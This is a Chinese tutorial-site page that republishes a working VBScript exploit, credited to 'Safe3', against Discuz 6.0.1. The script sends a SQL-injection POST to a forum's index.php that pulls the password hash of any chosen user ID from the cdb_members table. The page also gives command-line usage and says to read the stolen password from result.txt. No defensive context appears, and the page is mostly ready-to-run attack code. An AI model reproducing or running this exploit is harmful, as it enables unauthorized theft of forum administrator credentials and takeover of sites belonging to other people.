手机
当前位置:查字典教程网 >脚本专栏 >vbs >discuz 任意管理员密码漏洞利用工具 vbs代码
discuz 任意管理员密码漏洞利用工具 vbs代码
摘要:也利于修改以下是search.inc.php文件漏洞利用代码VBS版复制代码代码如下:DimstrUrl,strSite,strPath,s...

也利于修改

以下是search.inc.php 文件漏洞利用代码VBS版

复制代码 代码如下:

Dim strUrl,strSite,strPath,strUid

showB()

Set Args = Wscript.Arguments

If Args.Count <> 3 Then

ShowU()

Else

strSite=Args(0)

strPath=Args(1)

strUid=Args(2)

End If

strUrl="action=search&searchid=22%cf' UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=" & strUid &"/*&do=submit"

Set objXML = CreateObject("Microsoft.XMLHTTP")

objXML.Open "POST",strSite & strPath & "index.php", False

objXML.SetRequestHeader "Accept", "*/*"

objXML.SetRequestHeader "Accept-Language", "zh-cn"

objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"

objXML.SetRequestHeader "User-Agent", "wap"

objXML.send(strUrl)

wscript.echo(objXML.ResponseText)

Sub showB()

With Wscript

.Echo("+--------------------------=====================------------------------------+")

.Echo("Exploit discuz6.0.1")

.Echo("Code By Safe3")

.Echo("+--------------------------=====================------------------------------+")

End with

End Sub

Sub showU()

With Wscript

.Echo("+--------------------------=====================------------------------------+")

.Echo("用法:")

.Echo(" cscript "&.ScriptName&" site path uid")

.Echo("例子:")

.Echo(" cscript "&.ScriptName&" http://www.example.com/ /forum/ 1 >result.txt")

.Echo("+--------------------------=====================------------------------------+")

.Quit

End with

End Sub

获得的密码大家自己在result.txt中查找

【discuz 任意管理员密码漏洞利用工具 vbs代码】相关文章:

encrypt.vbs 内容加密vbs实现代码

QWERTY密码:加密与解密vbs版

vbs 搜索代理地址实现代码[小偷程序]

把任意文件转成vbs文件的file2vbs的vbs代码

ActiveX漏洞通用Exploit vbs修正版

利用vbs自动修改ip的代码

妙用VBScript自制IE工具栏按钮的代码

禁止QQ上网的vbs代码

用vbs实现的利用ADSL拨号变ip刷投票的代码

用vb和vbs 破解flashxp的密码的代码

精品推荐
分类导航